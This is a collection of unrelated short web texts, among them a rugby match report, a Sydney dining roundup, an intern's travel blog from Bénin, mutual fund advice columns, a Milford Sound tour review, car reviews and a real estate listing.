Private First Class Edmund Kapica, 93, was presented Thursday (June 2) with a Purple Heart, the Bronze Star, the French Knight Legion of Honor, and many other medals. His service in World War II was nothing short of heroic. Thank you for your service and sacrifice on behalf of the United States and her allies.


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Arrows lose historic home opener
Pro rugby union is going to work just fine in Toronto.
The local rugby community put its moral support behind the Toronto Arrows and on Sunday, it came out in full force, filling York Alumni Field for the first professional rugby union game in Canada. And while 3,081 doesn't sound like much, it was a sellout crowd in the small facility and made many observers think ahead to the crowds the team might get when it moves to the much larger Lamport Stadium later this year.
"It shows that rugby can work in Canada," Arrows forward John Moonlight said. "Too bad the result didn't go our way."
Yes, the crowd was disappointed by the 35-31 loss to NOLA Gold of New Orleans. But they did see a resilient Toronto side that climbed back from an early deficit and take a second half lead only to give up a last-minute try to the Major League Rugby leaders.
The Arrows did strike in the first minute when a turnover a good run by Spencer Jones led to a Dan Moor. But after the Gold were awarded a penalty try a few minutes later, J.P. Eloff busted through the Arrows defense for another score and Tristan Blewett intercepted a Toronto pass and went 40 yards to give NOLA a 21-7 lead.
Gaston Mieres finished two Toronto drives late in the half but a score by Eric Howard sent NOLA to the half up 28-19.
The Arrows needed 13 minutes in the second half to get the lead. First a good push down the field eventually resulted in a score from Andrew Ferguson. Then another strong possession let to Morgan Mitchell putting Toronto ahead 31-28. Neither team threatened until the Gold got possession six minutes from time and never gave it up, taking advantage of two Toronto penalties to get down the field where Ignacio Dotti would end the possession over the Arrows' try line.
The Arrows do drop to 4-5 on the season but do pick up two bonus points to sit at 24 on the season. One was for scoring four tries in the match. The other was for keeping the losing margin below seven points. The team currently sits in sixth in the MLR standings.
"That's how close this league is," Moonlight said. "We're going to build on this."
"We've got seven home games left and we're going to give the fans something to cheer about and give ourselves a chance to get into the championship."
Moonlight, a veteran of both the Canadian national men's 15s team and sevens team, feels having a pro side will be a plus in growing the game in Canada. Sure, there are great amateur teams in the area. But that's hardly enough for a high school or university player to be motivated to continue playing.
"It gives those young guys something to strive for," he said. "They can now see at home someone making a wage and playing this game."
The Arrows will host the Austin Elite next Sunday. Toronto's first four games are at York before heading to Lamport for the final four contests.


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What's new in Sydney this month, you ask? Plenty, it seems, as new establishments continue to set up shop around town—from gourmet sandwich shops to exceptional coffee and beautiful vintage finds.
We've scoured the city for the best new boutiques, restaurants, cafes and bars you should be visiting this month!
The Stinking Bishops | Newtown
For those who enjoy a good dose of fromage, The Stinking Bishops is Newtown's newest cheesemonger-cum-wine bar, offering a vast selection of local and imported goods, such as Comté, cheddar, Manchego, Tilsit and taleggio, as well as whiskey, wine and beer. Dine in or take out, you won't be disappointed.
Address: Shop 5, 63/71 Enmore Road, Newtown NSW 2042
Phone: 0431 563 336
Chica Linda | Surry Hills
Opening Friday May 2, Chica Linda is the latest eatery from the team at Drink'n'Dine (The Norfolk, Queenie's, The Forresters) to be housed at the back of The Carrington. The menu is a mix of Central and Southern American classics (yes!), with highlights including smoked chicken, BBQ swordfish, Puerto Rican roast pork, and soft shell crab arepas.
Smith Fine Tea & Specialty Coffee
From the boys behind Circa and Three Ropes Espresso, comes their newest venture Smith Fine Tea & Specialty Coffee, a café-roastery bringing a fine brew and delicious pastries to the streets of Parramatta.
Address: Batman Walk, Parramatta
Opening hours: Monday to Friday 7am-3pm.
Din Tai Fung New Locations
The much-loved Taiwanese-based eatery will have dumpling lovers rejoicing with two new venues, one at Westfield Chatswood and a second at the new Central Park development at Chippendale. Made famous for its broth and pork filled xiao long bao, get to Din Tai Fung's new North and Inner City outposts and pop one on your spoon!
Flight Series @ The Morrison Bar & Oyster Room
The Morrison Bar & Oyster Room has launched a new wine flight series, giving guests the opportunity to sample some of the finest wines from around the globe. First up in May is France with three superb whites available throughout the month, served in tasting flight for $25.
Round She Goes Returns To Sydney
Following its successful debut in 2013, Round She Goes returns to Marrickville Town Hall on May 17, featuring 60 handpicked stalls brimming with pre-loved designer fashion, accessories and jewellery. There'll even be a nail artist to beautify your fingertips, as well as excellent coffee and Mad Hatter Cupcakes for those weary, peckish shoppers. From 10am to 3pm, $2 entry.
The Grumpy Baker Castle Cove
Well-established bakery and café, The Grumpy Baker, is taking its baked goods to the North Shore with the opening of its new Castle Cove location. Situated on Deepwater Road, Northern Suburb folk can indulge in its delicious Tunisian breakfast, traditional shakshouka and its signature loaves and sweet treats.
Address: 16 Deepwater Road, Castle Cove NSW 2069
Phone: 02 98822720
Scouts Honour
A new sandwich shop and espresso bar, Scouts Honour is a must on your May culinary schedule. The menu features a stack of hearty sandwiches, a few staples such as muesli and ham and cheese toasties, and sweet treats to be washed down with fresh juice and coffee via Five Senses.
Address: 118 George Street, Redfern NSW 2016
Phone: 0421 203 382
New Menu @ Manta Restaurant & Bar
Manta has launched a new and utterly delicious Corporate Tasting (with your choice of nine or ten courses) and winter menu, featuring a vast selection of seafood dishes, an entirely new dessert menu and several signature additions. Not-to-be-missed dishes include: calamari with black garlic aioli and housemade chilli salt; seared Atlantic salmon, pressed-pork shoulder, green apple and vanilla puree with balsamic glaze; and whole king prawns with garlic and parsley. The service at Manta is impeccable as is the stunning Woolloomooloo Wharf location.
Stanley St Merchants
Sydney's highly anticipated, crowd-funded drinking and dining destination, Stanly St Merchants, has finally opened its doors in Darlinghurst and are taking bookings from May 8. Choose from Matt Stone's Sunday lunch, and 8 plate Chef's menu featuring hero dishes from the Merchant's repertoire, or a food and wine showcase where each dish is matched with a complementary drink. Bookings here.


text: Have you or anyone you know dated someone that was still married? Listener Lauryn is looking for some relationship advice because she is currently dating someone you is married. Do you think the relationship will last? Listen here to find out what our French romantic, Simon Marcel thinks! Share your thoughts with us in the comments below!


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You can use your MCO Visa Card to pay in over 40 million Points of Sale worldwide (look for the VISA logo) and countless online retail shops. Bear in mind, however, that some merchants may require a credit card transaction to use their services, among them chiefly some hotels and car rentals. You may also be required to use a credit card to apply for some subscription-based services (mainly online or mobile). For compliance reasons, we have restricted the use of our cards for gambling services and cash advances.
Where can I use the MCO Visa Card?
Written by Amy Ingram
Updated this week
Updated this week


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News from BéninSeptember 10, 2010 | Kathleen, Intern, Bénin
Welcome back to my adventures in Bénin! Ganvié is the Venice of West Africa. An entire village solely accessible by boat; it is remarkable. We took a three hour boat ride both ways to visit the village of Ganvié. The people base their livelihoods on fishing in Lake Nokoue. We were greeted by naked children swimming around our boats and asking for 100 Francs CFA to take their pictures. All houses are built on stilts and some are made to stay longer than others. Some families brought in dirt from the mainland to make their own small yards for their chickens and goats to graze and so that their children can learn to walk on solid ground. It was strangely beautiful to glide soundlessly between stilted homes. The only sounds came from the children when the spotted us shouting Yovo! Yovo!
I was thrilled to be on the continent for World Cup Mania. Bénin sadly did not have a team represented but that did not impede the citizens from cheering for the few African teams in the tournament. We were lucky enough to get to see the Ghana-Uruguay game at the Stade de l'amitié projected onto a large screen. There were easily a few hundred people watching there and when Ghana scored their first goal, the crowd went nuts. I feared for my life because everyone was screaming, cheering and running around, hugging and dancing. Soccer is taken very seriously here. Therefore, when Ghana ended up losing the game in a shootout, there were a lot of tears and silence while people filed out of the stadium.
At my placement, we continued to do awareness presentations to youth working at seamstress shops and hair salons. The peer educators made their messages clear with their wooden phalluses and words of caution. They were so persuasive that they easily captivated their audiences. Most people were thrilled to have the opportunity to have their questions answered regarding the taboo subjects of sexuality and reproduction. My colleague and I got to give a refresher course to the peer educators so that they could ask questions and get clarification to the questions they were being asked on the streets. The youth are intelligent and have a thirst for knowledge so that they can help their community.
We also had the opportunity to do a radio show involving many key people we worked with. The topic of the radio show was "How youth are informed about sexuality?" It was an hour long show and we had the audience call in to ask questions or comment on what was discussed. We invited peer educators, the stadium nurse, a parent, the coordinator of peer educators and a couple fellow interns. It was an exciting experience and a success. The station had to stop taking calls because too many people were calling in to ask questions. I definitely saw a lot of enthusiasm with this topic.
At the end of our internships, all the interns had presentations of what they had learned at the Ministère des Affaires Étrangères. We all got to dress up in the African apparel that the couturiers had made for us. It was interesting to get to see what everyone else did at their placements. Many interesting questions were raised regarding what we thought could be changed in terms of how things worked and suggestions were given on how to improve the internships for the future. I was so pleased to see that all of the people we worked with on our internship had showed up for our presentation. It was very difficult to say good bye to all of them. We had such a great time with them and everyone was so nice. I look forward to working with them in the future. Next, we are off to Abomey and Aklampa to finish our time in Bénin. Let the adventure continue!!!


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Sep 27, 2017, 09.56 AM IST
I am 32 years old and want to invest regularly for 10 years with a goal of accumulating Rs 1 crore. I have started SIPs in the following funds from March 2017: SBI Bluechip (Rs 2,000), L&T Infrastructure (Rs 1,000), Franklin India Smaller Companies (Rs 1,500), Birla Sun Life Monthly Income Plan II Wealth 25 (Rs 2,000), ICICI Prudential Banking and Financial Services Fund (Rs 1,000), L&T Midcap Fund (Rs 1,000). In addition, I am also investing Rs 10,000 per month in NPS Tier 2. I have a recurring deposit of Rs 10,000 per month at 7.5 per cent for five years. Please advise on any change in my portfolio or any other fund.
With this investment pattern, you would not be able to reach Rs 1 crore. But, having a random number target is not going to help as one would tend to take more risks than warranted if you were to pursue this. Assets need to be allocated based on your goals, risk profile, number of years of work, dependencies in the family, timing of goals, etc. You investments would probably need some professional help. There are just too many SIPs. Maximum of two are enough. You need to also have a reason to invest in NPS Tier 2, but that needs to be a compelling one. Liquid funds ultra short-term funds from the mutual fund stable would perform the job of providing liquidity quite well. Recurring deposits would be offering poor returns on a post tax basis. Debt mutual funds are suggested. But to get all this right, seek out a proper financial advisor.
I have invested a lumpsum amount in mutual funds with a time horizon of at least five years. I would like to know whether these are the right ones to invest and how much returns can I expect. Please advise if I need to make any adjustments or change my investments. I aim to accumulate at least Rs 7 crore from my lumpsum investment of Rs 2.5 crore. The funds that I have invested in are as follows: 1. SBI Bluechip Fund Rs 20 lakh 2. SBI Midcap Fund Rs 20 lakh 3. L&T India Value Fund Rs 1.5 crore 4. L&T Emerging Business Rs 50 lakh 5. SBI Magnum Balanced Rs 10 lakh.
You have invested Rs 2.1 crore out of your Rs 2.5 crore in mid and small cap funds. Hope you have allocated in this manner after giving it sufficient thought. You cannot invest just looking at the returns these funds have given till date. How the funds will perform in future is unknown. That is why having a proper asset allocation and investing as per one's risk profile and goals becomes important. To reach Rs 7 crore in five years, you need to get a return of about 23 per cent, which is a tall order. Returns in exclusion, have no meaning. To me, it looks like you could consider more allocations to large cap, multicap and balanced funds. As may be necessary, you should also consider some allocation in debt funds.
Please send your queries on Stocks to firstname.lastname@example.com; Mutual Funds to email@example.com Tax to email@example.com Insurance to firstname.lastname@example.com Realty to firstname.lastname@example.com
Every week, an expert selected by ET answers queries from our readers on mutual fund investments.
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Find Out T Cushion Sofa Slipcover
T cushion sofa slipcover – Being successful when making a gift is not always a simple task, especially if it is a very close person, because the demands are usually higher. If you have already gone through perfumes, albums and photo frames, accessories and kitchen utensils , it may cost you more and more to find something original.
The t cushion sofa slipcover with photos is a great option to surprise and it is very sure that we are the first to give them away. If we have to make a gift to our partner, an idea may be to give some pillows with photos of each one or with a photo of some special moment. If, on the other hand, we want to have a detail with a friend who is leaving, some cushions with photos of the whole gang will make a good memory.
12 Picture Gallery: Find Out T Cushion Sofa Slipcover
Who said that t cushion sofa slipcover with photos could only be personalized? There are some styles in which the photos and images of certain artists are part of the decoration, as is the case with the glam style. Nothing better to fill a glamorous bedroom than a cushion with a photo of Audrey Hepburn in black and white of the legendary film Breakfast with diamonds .
This post topic: Cushion Designs


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We strongly believe in the value of work. We work hard for people who work, and for people who wish they could work-or wish they had work. Over the years, we have seen over and over again that people will do whatever they can to work-even in a job they're not crazy about-rather than sit home and be reminded of how totally boring and unfulfilling life can be when there is nothing productive to do.
Sure, clients come to us with stories about 'someone I know' or 'someone I heard about' who sounds as if he's milking the compensation system-or scamming it. Some doctors don't want to care for patients with workers' compensation cases because they think the worker would rather collect paltry benefits instead of getting well. And to hear some employer's talk about it, their employees should limp in to work and 'toughen up,' no matter what the injury.
We think our clients want to get back to work as soon as they have healed. But they want to get competent medical care and the full time they to recover without being rushed back to a job they can't perform. If this is you, we'll work well together. But if you're like that 'someone I know,' or someone who is sure to confirm a doctor's worst opinion of workers' compensation patients, then shame on you-and if you happen to call for information, please don't ask us to represent you.
This is where we are coming from in our handling of workers' compensation claims. We will do our damnedest to help you get and keep good medical and surgical care, to keep your benefits coming while you're healing, to make sure that the full extent of your permanent disability is recognized, and to make it possible for you to return to employment. We believe our clients do their damnedest to achieve the same things.


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Photo from Time.com
What a year. More Filipinos are poor, more Filipinos have been killed, farmers still don't own their lands, laborers in all industries have gone on strike, and all throughout you saw the same 13-letter word on Twitter: neoliberalism.
But you've not only passed over it in some mindless scroll — you were born screaming into a world where its ideology seeped into every material thing and conditioned every thought. It permeates your every action: that wild, unrelenting force that measures your worth against how much you have.
There is a whole body of literature dedicated to the subject of neoliberalism — to its theory and application, but also to criticisms against it, and the alternatives. Take this for what it is: a point of entry into a discussion that may have been too intimidating for you to enter online.


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Well we are taking a bit longer holiday this year. We will start in London where Tracy will do some work and we take advantage of the ease of getting around Europe and visit Paris, Iceland and Gallipoli as a minimum before the end of April.
In May we will be buying a campervan before heading off with a constantly changing itinerary. All that we have in stone is to be in Ireland at beginning of June to finalise Scott's multi entry visa for the UK, then off to France for the Tour de France in July and in Spain for October. After accomplishing that we are tackling Italy, Slovenia, quick trip to Vienna, Prague and Berlin before heading back to France to finish off our trip in the Champagne region.
If all goes according to plan, we will be back to the sunny shores of Perth for Christmas Day 2011. Unless we win lotto 🙂


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2009 Lamborghini Gallardo LP560-4 Spyder | road test
It has its faults, but we can't help love the Gallardo for its sheer exuberance. Not to mention its savage speed.…
It has its faults, but we can't help love the Gallardo for its sheer exuberance. Not to mention its savage speed.…
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2018 Mercedes-AMG S 63 4Matic
Rated 5 stars
A tech marvel that commands respect if only for its breadth of abilities, even if you're not a fan of the looks or have subjective qualms - the latest Mercedes-AMG S 63 ups the power, ups the performance, and the luxury. It ups the ante. It's a supercar with massaging seats
2015 Rolls-Royce Ghost Series II
Rated 4.5 stars
The Rolls-Royce Ghost is positioned as an entry-level model into the brand's line-up, but truth be told, it's a masterpiece on every level. The boffins at Goodwood have genuinely outdone themselves with this one.
Porsche 911 GT2 RS
Rated 4.5 stars
The ultimate Porsche 911 is fairly unforgiving on the road during the daily grind, but let the twin-turbocharged 3.8-litre 700 horsepower engine run free and the new GT2 RS is also one of the most thrilling supercars money can buy
2015 Chery E5
Rated 5 stars 1
Pioneering the E Series for the Chinese brand back in 2012, the E5 is still a relatively new entrant in the market that faces competition from the Chinese JAC J5 and Korean Kia Cerato. With prices clearly in its favour, the 2015 Chery E5 is on the right path to success, for now at least.
2015 Lexus NX
Rated 5 stars 1
The Lexus NX is an important vehicle for the brand - one that not only marks its first ever stint in the compact crossover segment, but also houses its first ever turbocharged engine.
2015 Honda Pilot
Rated 5 stars 1
The Pilot is Honda's only mid-size crossover SUV, although the actual size of it leaves it not too far from the full-size bracket.


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Milford Sound isn't technically a sound. It's a fiord; a U shaped bed carved by an ancient glacier (a 'sound' is V-shaped, formed when a river valley is flooded by the sea). Either way, it's stunning and attracts up to 1m visitors each year. It's not just the sound (/fiord) itself but everything on the way from the local town of Te Anau. We hopped on board a Fiordland Tour bus and spent a full day exploring raging rapids, forceful waterfalls and of course, the tranquil beauty of Milford Sound.
Disclaimer: we were offered a discounted trip with Fiordland Tours however we would never recommend any service unless they met our standards and best expectations.
Who to book with
When researching Milford Sound, we discovered that most cruise operators pick up from the popular hub of Queenstown or meet at Milford Sound. Queenstown is 5-6 hours drive from Milford Sound so most companies pick up from your hotel before 7am and get back 12 hours later. That's a long day with a lot of time in a coach!
Meeting for your cruise at the harbour means driving there yourself or taking a tour. There are positive and negatives to driving yourself, but given the time of year, the negatives far outweighed the positives! The Milford Sound road is spectacular with stunning landscapes the whole way. What this road also has is a lot of big coaches and tours racing to get to their boat on time. In peak season you will have to deal with busy roads and big coaches on narrow mountainous roads, in low season you have to deal with black ice and dangerous driving conditions. We saw at least one car down the side of a mountain and apparently, tourists end up in rivers and all sorts! Best leave it to the pros…
We decided to do just that and booked with Fiordland Tours, we have nothing but praise and good reviews for the day we spent with them! These guys depart from Te Anau (only 2 hours from Milford Sound) so you can spend more time stopping at interesting places rather than sitting in a coach travelling from Queenstown. Although they do offer a pick up from Queenstown, is there anything these guys can't do?
Jono, our guide, was the absolute best. He was a great driver, making us feel safe the whole journey, and was incredibly knowledgeable and funny making our whole day was unforgettable. Fiordland Tours pick you up from where ever you're staying in Te Anau at 8am (a lie in the Queenstown-stayers don't have!). There are tonnes of stops on the way, which we will go into in more detail below – plus they only take small tours which makes for a really personal feel.
We can go on and on about how great this company is all day but instead of that, let's get onto what's involved in a day tour with Fiordland Tours.
On the way
There's so much to see on the way or on the way back from Milford Sound so we'll highlight the best ones we stopped at. Jono knew everything and anything there was to know about the wildlife, history and goings-on of Te Anau and Milford Sound so we've tried to remember what we can and popped it below (for anything we've missed, you'll just have to take the tour!).
Mirror Lakes
The lakes in New Zealand are particularly stunning. Due to the algae in a lot of the lakes around the South Island, they (astonishingly) projected a mirror image of what was above the surface. This was a quick stop with an accessible boardwalk and three photo spots.
As with any major tourist spot you may have to be patient (especially if a bus full of tourists turn up at the same time as you) but the results are worth it. Look out for the backwards sign in the water to show just how mirror-like the water is!
Lake Marian + Falls
The first waterfall stop on our trip and it didn't disappoint. It has a good walking track over the swing bridge and up to the falls themselves. We went just after the rain so it was in full flow, the noise was incredible.
Our guide took us to the best photo spot of them all but we wouldn't recommend this without a guide or at least someone else around (just in case!). If you're not on a tour and you're up for it, there's also an advanced tramping track, which is three hours return.
Gunn's Camp
Not many other tours get to stop at Gunn's camp for homemade scone's and a cuppa – trust us you'll need it if you're going in winter! If you're there in the summer make sure you have your insect repellent at the ready, like most places on the Milford trail there will be sandflies. The camp was the perfect mid-morning tea with biscuits and coffee available too – the log burner was toasting the room nicely and the owners were so friendly.
Gunn's camp has an interesting history, was run by father and son from 1951 to attract holidaymakers to the Hollyford (river). Unfortunately, the same river washed Davey Gunn and a 12-year-old boy away while they were horse riding. The rivers in New Zealand run really strong and sadly, they were never seen again. The camp was then taken over by his son Murray until 2005 when he retired to Te Anau. The camp and museum are now run by the Hollyford Museum Charitable Trust.
It's a quaint little stop with a great back story (Jono will be able to tell you more!).
Homer Tunnel
If you're claustrophobic you may want to shut your eyes for this part! While the tunnel itself is an impressive nod to the hard work of the men who carved their way through the mountain with pick-axes and dynamite, it still feels like quite a tight squeeze for buses coming through.
The work started in 1935 during the Great Depression; with setbacks like WWII recruitment and a large avalanche in 1945 it ended up taking 19 years to finish. Before the road was finalised there was no way between Te Anau and Milford Sound, so without all their hard work, you wouldn't be able to visit!
The Chasm
One of our favourite spots. Like the falls at Lake Marian, the river was roaring and raging under the bridge beneath us. Even more impressive than the amount of water, was the formations it had carved over the years. Gaping holes with smooth edges gave a sponge-like effect to the rock as water poured through every gap possible.
There are two footbridges that offer amazing views of the Cleddau River and the formations below.
Tutoko Suspension Bridge
This was a quick stop and the last one before the Sound itself. Built in 1940 the steel suspension bridge crossed the Tutoko river and completed the road to Milford Sound. The bridge offers interrupted views of Mount Tutoko, the highest peak in the Fiordland National Park, standing at 2,723m.
Our guide explained how the mountain was named after an important Maori chief who welcomed the first Europeans looking for gold. Mountains or maunga are held in the highest regard in Maori culture – mountains such as Aoraki (Mount Cook) have interesting and in-depth stories on how they were formed usually involving Maori deities. For a mountain to be named after a mortal chief is apparently a highly regarded honour.
Interested from this tour we did more research on the traditions of the Maori culture and the sacred beliefs of the mountains. According to this Culture Trip article,
…the great maunga are afforded the same reverence and respect as living elders and tribal leaders. It's also why Māori will not stand on the peak of a mountain: in Māori culture, to stand on the peak of a mountain is to stand on the head of an ancestor. Thus, Māori tikanga (lore) dictates that the head is the most sacred of all Māori body parts as it is the pathway to knowledge which carries tribes into the future.Ngarangi Haerewa, Culture Trip
Milford Sound
Around lunchtime, we arrived at Milford Sound with five minutes until boarding. We were handed our bespoke lunches with incredible homemade sandwiches in from the Olive Tree Cafe (Te Anau), juice, chocolate and fruit. Perfect for recharging on the boat before we got snap happy!
Through Fiordland Tours, our boat-trip was with Cruise Milford and consisted of two hours of cruising around the Fiord marvelling in the sheer grandeur of it all. A UNESCO World Heritage site, the Milford Sound was named after Milford Haven in Wales by Captain John Grono in 1812.
The traditional Maori name is Piopiotahi after a small bird called the piopio. Our guide explained that it's said the bird and the demigod Maui were inseparable. When Maui died trying to win immortality for mankind the bird flew to the area and cried so much it created all the water in the Fiord.
If you're there in the right season there will be heaps of wildlife to spot – native penguins and fur seals make the surrounding rocks their home. There are also 60 different species of bottlenose dolphins and birds such as the kea. Unfortunately, we were unlucky and literally saw none of them (what are the chances!). You always have to leave something to go back for, right?
There can be thousands of small and temporary waterfalls around Milford Sound after storms and heavy rain. If you are going when it's been particularly wet you'll see water running over and through the vegetation on the rock-side.
What's equally as impressive is the permanent waterfalls on the Sound. Lady Elizabeth Bowen Falls is Milford's highest waterfall at 162m. It is the water and power source for the area so it's the most important falls as well. It's hard to believe standing underneath the waterfall that it can quadruple in size and flow during storms!
The second highest is Stirling Falls (151m) is the waterfall you can kayak under (if it's warm) if not you can enjoy it from the comfort of your heated boat! We decided to brave it in 3 degrees from the front of our boat (madness) but we can officially say we've stood under a waterfall at Milford Sound. There's a picture of the Stirling Falls at the bottom of this post in the slideshow, the falls are 151m so it really gives you an idea of the scale of the whole landscape.
The cutest was Fairy Falls, this is another the boat can take you directly under. We had great weather and enjoyed a light sprinkling rather than the drenching we got from Stirling Falls!
This was our favourite day in New Zealand and honestly, we believe it was down to our fantastic tour. After driving for a year around Australia it was a nice change of pace to sit back and enjoy the day and learn so much about the area and its history. If you're looking at going to Milford Sound, you've got to check out Fiordland Tours and their amazing services!
Our Milford Sound tour was part of our 10-day trip to New Zealand's South Island. Check out our full post, What to do in New Zealand – 10 days on the South Island!


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AnitaB.org Hyderabad connects local women technologists and our allies in Hyderabad and the surrounding region.
About Hyderabad
Hyderabad is a top global technology destination. Some of the largest international software, technology products and e-commerce companies have established their R&D and Indian business operations in Hyderabad. Large investments and new government policies are being introduced to continue this momentum. In addition to being one of the largest IT hubs, Hyderabad is home to some of the best technology parks in the country. ABI.Hyderabad looks forward to connecting with women technologists in this high tech city and organizing events/activities for women to network, find inspiration and advance their careers.
ABI.Hyderabad is driven by a dynamic group of volunteers from leading organizations. They are passionate about connecting and growing the careers of women in technology.
Asra Jabeen, Google
Aviral Srivastav, Infosys
Bhargavi Nuvvula, Amazon
Bhavana Gannu, IIIT
Charu Srinivasan, Microsoft (Community Leader)
Juhee Ahmad, Microsoft
Kamini Jha, Valuelabs
Kavitha Tumuluri, CA
Nayana Kadiyala, Salesforce
Nivedita Agagrwal, CA
Prasanna Anireddy, Progress Software


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Every year in June, Sporting Iowa conduct 11U-19U (boys and girls) competitive soccer tryouts. Review the details below on the tryout overview.
Tryouts will be held June at Hidden Valley Soccer Complex located east of Walnut Woods State Park or at JUSC Soccer Complex. In case of inclement weather the day of tryouts, please check website for tryout status. The one time tryout fee is $35 before tryout date or $40 the day of tryouts. Walk-up registration the day of tryouts is allowed. Register online at www.sportingiowasoccer.org.
Players are encouraged to attend as many of the sessions as possible. If you have a scheduling conflict or questions regarding tryouts, contact Executive Director of Coaching. Please arrive at age/gender tryout location 20 minutes early for check-in on your first day of attendance.
All participants are required to bring:
Team Selection Bids will be emailed to participants after 8am on the scheduled bid date. (Iowa Soccer sets this date. For more information go to Iowa Soccer Association.) Bid accemptance is required with in 12 hours of receiving the bid. Sporting Iowa registration is required within 48 hours of acceptance. After 24 hours bids will no longer be honored. Any questions about bids should be directed to Executive Director of Coaching.


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To encourage potential leaders in the field of sugar production, Shrijee has instituted "Shrijee Future Leader" awards at prestigious National Sugar Institute, Kanpur.
These awards are given to outstanding students of first year from sugar technology and sugar engineering disciplines with high leadership quality.
For the years 2015 and 2016, the awards and trophies were handed over to the winners by honorable union minister for Food and Civil Supply Mr. Ram Vilas Paswan on 8th September 2016
"Shrijee Group" conducted a BLOOD DONATION CAMP on the occasion of "Foundation Day" in association with the "Jankalyan Blood Bank" on 6 Sept. 2016.
On this occasion, as many as 20 people donated their blood. In total, 60 units of blood were collected; this camp helped employees in getting awareness about their social responsibilities and showed enthusiastic participation for the same.


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Greg is a fantastic designer. He produces high quality polished work and pays attention to the details. As an individual he is honest, reliable and diligent. Working with him is always a pleasure, as he is always responsive and helpful.
Richard McGregor, Codeface
Greg is extremely capable, a real go-to person whose advice I frequently sought. He has a number of invaluable attributes – in particular he is a talented designer, but in addition he has an absolute understanding of the commercial context of his work.
Simon Stocks, Optimisa
Approachable, amenable and excellent value, Greg has designed, updated and managed four websites for me for a number of years.
Dea Birkett, Many Rivers Films
Greg has designed and implemented all my websites since I went freelance in 2006. The sites have had different audiences and requirements but all have had a great response and have worked very well for me.
Rebecca Mileham, Textworkshop
Many thanks for all your fast and good work on the project – very much appreciated.
Emma Hedderwick, Exhibition manager, Science Museum
Working with Greg is always straightforward and efficient – he is well organised and always delivers on time.
Adeel Ahmad, Head of Field and Data Services, Optimisa Research


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Submit the online request above to contact VIP services. Our team will fill you in on the best options to make your concert an unforgettable experience. VIP reservations are not inclusive of concert tickets. A ticket is required to gain entry to our shows.
VIP ALL-ACCESS PASS DOORS 8:00PM: Main floor & exclusive Society Room access, (3) drink tickets valid for premium cocktails or non-alcoholic beverages. Early entry for tables & seating options, coat check, lavish African & Caribbean hors d oeuvres & midnight blowout & champagne toast.
GENERAL ADMISSION DOORS 9:00PM: Main floor & exclusive mezzanine level access. Includes coat check & midnight blowout.
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God Rewards
"And without faith it is impossible to please God, because anyone who comes to him must believe that he exists and that he rewards those who earnestly seek him" – Hebrews 11:6
When God is first place in your life, and pleasing Him is your highest priority, then you can fully expect to live a blessed, fulfilled life! In today's verse, notice who God rewards. It's not people who half-heartedly seek Him. It doesn't say "people who only think about Him when they're having a problem;" No, God rewards people who earnestly seek after Him. That means we are determined. We get up every morning and thank Him for His goodness. We go through the day meditating on His promises. We give Him praise in the good times and the tough times. We are constantly stretching, growing, learning and striving to know Him better.
Today, remember, when you diligently seek God, He promises that a reward is coming. He promises He will give you strength, wisdom, favor, good breaks, promotion, healing and restoration. When you seek Him with your whole heart, you will find Him, and you won't be able to outrun His goodness and blessing!


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Crime tip: Tattooed lips may be cool and tough but they give you away
A Colorado burglar has been arrested after being identified by his distinctive facial tattoo.
The tattoo on the upper lip of 20-year-old Anthony Brandon Gonzales led to his arrest last week in connection with a break-in at the home of an Elvis impersonator in Pueblo County.
A witness told police that one of the invaders had "East Side" tattooed on his upper lip.


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Mercedes-Benz of Wilmington Official Blog
Archive for December, 2016
2017 Mercedes-Benz CLA 250 ReviewsThursday, December 22nd, 2016
Researching a vehicle before a new purchase is important to making sure you are getting the model with the features and capabilities you are looking for. Here with Mercedes-Benz of Wilmington, you will find reviews for the 2017 Mercedes-Benz CLA 250. The Mercedes-Benz CLA 250 is one of the most popular Mercedes-Benz models as part of the brand's CLA-Class sedan models. Below we have walk-arounds and performance review videos for our readers to see the model from every angle possible. In the comments below let us know what you think of the CLA 250. (more…)
Get Ready for the New Mercedes-Benz E-Class CoupeThursday, December 22nd, 2016
New Mercedes-Benz 2018 E-Class Model Reveal
The new E-Class coupe takes after the Mercedes-Benz sedan models, now offering drivers more space in addition to innovative technologies and a high-performance powertrain. Its new design exhibits smooth, elegant lines with dynamic accents new optic taillamps. Decidedly graceful and sporty, this new release is next Mercedes-Benz must-have. (more…)
What is the fastest Mercedes-Benz AMG model?Friday, December 9th, 2016
Mercedes-AMG models are known for their exceptional performance. But, none have come close to that of the "Beast of the Green Hell." The Mercedes-AMG GT R has set the fastest-ever lap time on the Nürburgring Nordschleife, the world's toughest race track which is nicknamed the "Green Hell."
One lap on the Nordschleife tests all aspects of performance for a sports car and the "Beast" stepped up to the challenge. The Mercedes-AMG GT R was able to complete one lap in only 7 minutes and 10.9 seconds, a time never made by any sports car not just Mercedes-Benz models. (more…)
Christmas Tree Farms & Lots Wilmington DEMonday, December 5th, 2016
If you haven't gotten your Christmas tree yet, that's ok you still have plenty of time to enjoy a tree before December 25th. Whether you like to seek out your perfect pine and cut it down with the family or choose from the rows of pre-cuts on a lot, nothing beats that fresh pine scent in your living room throughout the holiday season. You can find your Christmas tree in the Wilmington area at one of these local farms or lots. (more…)


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Home » Sold » 94 Solon Rd Chagrin Falls, OH 44022
Description. Charming 4 bedroom home nestled steps away from Chagrin Falls Historical district on 1.16 breathtaking acres. Enter the sun-filled foyer, leading into the inviting living room and adjacent family room around the corner from a fresh kitchen with cherry cabinets, stainless appliance, and a gas cooktop. Enjoy your meals in the dining room with a charming built-in corner cabinet. Upstairs you will find a roomy master suite with two closets, 3 other rooms, one includes a walk-in closet. This Village gem boasts original hardwood floors, detailed woodwork throughout, newer windows, roof and a spacious walk-out basement. Enter your backyard oasis: sprawling lawn with a riverbed patio, meander down the winding paths through the woods, past meditation gardens, rest on a bench and enjoy the wildlife, you may even see the Bald Eagle then continue down to the river. Beautiful Interior pictures coming soon.


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I think Oscar should find Zimmer this time, but I know it wont. And I know that some of you guys may think I'm stupid. Yeah I know, but think. Zimmer did some great scores even when he didn't satisfied his fans. I'm still hoping Gladiator wasn't nominatied cause the Academy was in Matrix style, and liked Crouching Tiger... so much.
Do you think Gladiator was his high point, and no nomines for a couple of years in the future?


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With a sense of humour and an eye for striking typography, French designer Tyrsa has worked his way into the worlds of art and advertising. This week he's coming to Stockholm to turn the legendary restaurant Prinsen into an enormous street art installation, entitled The 1664 Experience.
